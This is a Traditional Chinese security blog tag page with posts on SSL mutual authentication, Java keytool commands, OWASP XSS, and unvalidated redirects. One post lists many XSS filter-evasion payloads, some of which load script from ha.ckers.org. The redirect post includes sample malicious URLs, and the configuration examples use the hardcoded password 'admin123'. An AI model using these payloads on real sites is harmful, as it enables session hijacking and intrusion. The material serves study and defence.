顯示具有 Security 標籤的文章。 顯示所有文章
顯示具有 Security 標籤的文章。 顯示所有文章

2010年4月10日 星期六

Web Service SSL雙向驗證

1. 在Service端需先設定走SSL雙向驗證,可參考Tomcat上設定 SSL雙向驗證

2. 在Client端有二個部分必需設定
   a. 第一部分要先讓Client端能信任Service端的憑證,所以需將Service端憑證的CA匯入到你的trustStore(也就是Java key store)。
       之後再將系統的trustStroe位址指到你的trustStore位置。
       如:System.setProperty("javax.net.ssl.trustStore", "C:\\trustStroe.jks");
            System.setProperty("javax.net.ssl.trustStorePassword", "admin123");

   b. 第二部分是要指定存放Client端憑證的keystore位置,好讓Service能夠做身份確認。
       如:System.setProperty("javax.net.ssl.keyStore", "C:\\keyStore.jks");
            System.setProperty("javax.net.ssl.keyStorePassword", "admin123");


2010年1月18日 星期一

Cross Site Scripting(XSS)攻擊手法介紹

1. 改變字元大小寫
    <sCript>alert('d')</scRipT>

2. 利用多加一些其它字元來規避Regular Expression的檢查
    <<script>alert('c')//<</script>
    <SCRIPT a=">" SRC="t.js"></SCRIPT>
    <SCRIPT =">" SRC="t.js"></SCRIPT>
    <SCRIPT a=">" '' SRC="t.js"></SCRIPT>
    <SCRIPT "a='>'" SRC="t.js"></SCRIPT>
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
    <SCRIPT a=">'>" SRC="t.js"></SCRIPT>

3. 以其它副檔名取代.js
    <script src="bad.jpg"></script>

4. 將Javascript寫在CSS檔裡
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
       example:
          body {
               background-image: url('javascript:alert("XSS");')
          }

5. 在script的tag裡加入一些其它字元
    <SCRIPT/SRC="t.js"></SCRIPT>
    <SCRIPT/anyword SRC="t.js"></SCRIPT>

6. 使用tab或是new line來規避
    <img src="jav ascr ipt:alert('XSS3')">
    <img src="jav ascr ipt:alert('XSS3')">
    <IMG SRC="jav ascript:alert('XSS');">
         -> tag
         -> new line

7. 使用"\"來規避
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS32")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS33"))'>
    <IMG STYLE="xss:expr/*anyword*/ession(alert('sss'))">
    <DIV STYLE="width: expre\ssi\on(alert('XSS31'));">
    <A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>


8. 使用Hex encode來規避(也可能會把";"拿掉)
    <DIV STYLE="width: expre\ssi\on(alert('XSS31'));">
        原始碼:<DIV STYLE="width: expre\ssi\on(alert('XSS31'));">

    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('abc');">
        原始碼:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('abc');">


9. script in HTML tag
    <body onload=」alert('onload')」>
        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload


10. 在swf裡含有xss的code
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

11. 利用CDATA將xss的code拆開,再組合起來。
    <XML ID=I><X><C>
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
    </C></X>
    </xml>
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

    <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>


12. 利用HTML+TIME。
    <HTML><BODY>
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
    <?import namespace="t" implementation="#default#time2">
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
    </BODY></HTML>


13. 透過META寫入Cookie。
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

14. javascript in src , href , url
    <IFRAME SRC=javascript:alert('13')></IFRAME>
    <img src="javascript:alert('XSS3')">
    <IMG DYNSRC="javascript:alert('XSS20')">
    <IMG LOWSRC="javascript:alert('XSS21')">
    <LINK REL="stylesheet" HREF="javascript:alert('XSS24');">
    <IFRAME SRC=javascript:alert('XSS27')></IFRAME>
    <TABLE BACKGROUND="javascript:alert('XSS29')">
    <DIV STYLE="background-image: url(javascript:alert('XSS30'))">
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert('XSS35')");}
    </STYLE><A CLASS=XSS></A>
    <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>


2010年1月17日 星期日

Java keytool 基本指令介紹

1. 匯入憑證到keystore
      keytool –import –alias xxx –file xxx.cer –keystore .keystore

2. 查詢keystore的內容
      keytool –list –v –keystore .keystore

3. 刪除keystore內的其中一個憑證
      keytool –delete –alias xxx –keystore .keystore

4. 產生金錀對(RSA為非對稱加密的演算法)
      keytool -genkey -alias xxx -keyalg RSA -keystore .keystore

5. 產生憑證申請檔
      keytool -certreq -alias xxx -file certreq.txt -keystore .keystore

6. 查詢PKCS12類型keystore的內容
      keytool –list –v –keystore .keystore -storetype pkcs12

7. 建立一個含有私鑰的keystore
      keytool -genkey -alias keyAlias -keyalg RSA -keystore keystore.jks

8. 修改keystore的密碼
      keytool -storepasswd -new newPassword -keystore keystore.jks


2009年11月29日 星期日

Tomcat上設定SSL雙向驗證

1. 在Server.xml裡SSL的Connector tag內加入clientAuth="true"這個屬性,此屬性表示所有走SSL的Client都需驗證它的憑證是否為Server所信任的。
<Connector port="4443" minSpareThreads="5" maxSpareThreads="475" enableLookups="true"
 disableUploadTimeout="true" acceptCount="500" maxThreads="1000" scheme="https"
 secure="true" SSLEnabled="true" keystoreFile="/.keystore"
 keystorePass="admin123" sslProtocol="TLS" URIEncoding="UTF-8" clientAuth="true"
 truststoreFile="/.keystore" truststorePass="admin123" truststoreType="JKS" />
        PS. JKS為Java Key Store,也可以用另一種類型PKCS12

2. 若在Server.xml無設定truststoreFile屬性等相關資訊時,則Client只要使用任何正確的憑證即可進入網頁。

3. 若要限定Client的憑證是特定CA所發出的憑證,則需要設定truststoreFile屬性等相關資訊。並將所信任的CA的憑證,利用keytool匯入到truststoreFile(此範例為.keystore)。


2009年11月25日 星期三

Cross Site Scripting(OWASP A2)

1. 攻擊手法
    利用網站發佈Script,而且這些Script是其它使用者也會看的到,進而達到跨網站攻擊。
    攻擊者通常會利用此手法來劫持其它使用者的sessions、或是重新導向到惡意網站。

2.


3. 如何防止XSS
      a. 利用在Cookie內設定HttpOnly來減少系統發生XSS的可能性。
          因為在Cookie內設定HttpOnly之後此Cookie就無法透過Javascipt去讀取。


2009年11月24日 星期二

Unvalidated Redirects and Forwards(OWASP A8)

1. 攻擊手法
     攻擊者利用網站未經過驗證的Redirect和Forward進行攻擊。
         a.  未經過驗證的Redirect:攻擊者可以利用此弱點欺騙使用者點選連結並重新導向到惡意網址。
              Example: http://www.google.com/redirect.jsp?url=hacker.com/malware.exe
         b.  未經過驗證的Forward:攻擊者可能會利用此弱點跳過存取控制,直接連結到管理功能頁
              面。
             Example: http://www.google.com/forward.jsp?fwd=admin.jsp

2. 自我網站檢查
        a.  檢查所有可以帶有參數的Redirect和Forward,是否有驗證參數的功能。

3. 如何預防
        a. 簡單的避免使用 Redirect和Forward。
        b. 若要使用,不要把使用者輸入的參數當作決定目的端的一部分。
        c. 若無法避免,則需要驗證使用者輸入的參數。


2009年11月21日 星期六

Java keytool 基本指令介紹

1. 匯入憑證到keystore
      keytool –import –alias xxx –file xxx.cer –keystore .keystore

2. 查詢keystore的內容
      keytool –list –v –keystore .keystore

3. 刪除keystore內的其中一個憑證
      keytool –delete –alias xxx –keystore .keystore

4. 產生金錀對(RSA為非對稱加密的演算法)
      keytool -genkey -alias xxx -keyalg RSA -keystore .keystore

5. 產生憑證申請檔
      keytool -certreq -alias xxx -file certreq.txt -keystore .keystore
 
6. 查詢PKCS12類型keystore的內容
      keytool –list –v –keystore .keystore -storetype pkcs12

7. 建立一個含有私鑰的keystore
      keytool -genkey -alias keyAlias -keyalg RSA -keystore keystore.jks

8. 修改keystore的密碼
      keytool -storepasswd -new newPassword -keystore keystore.jks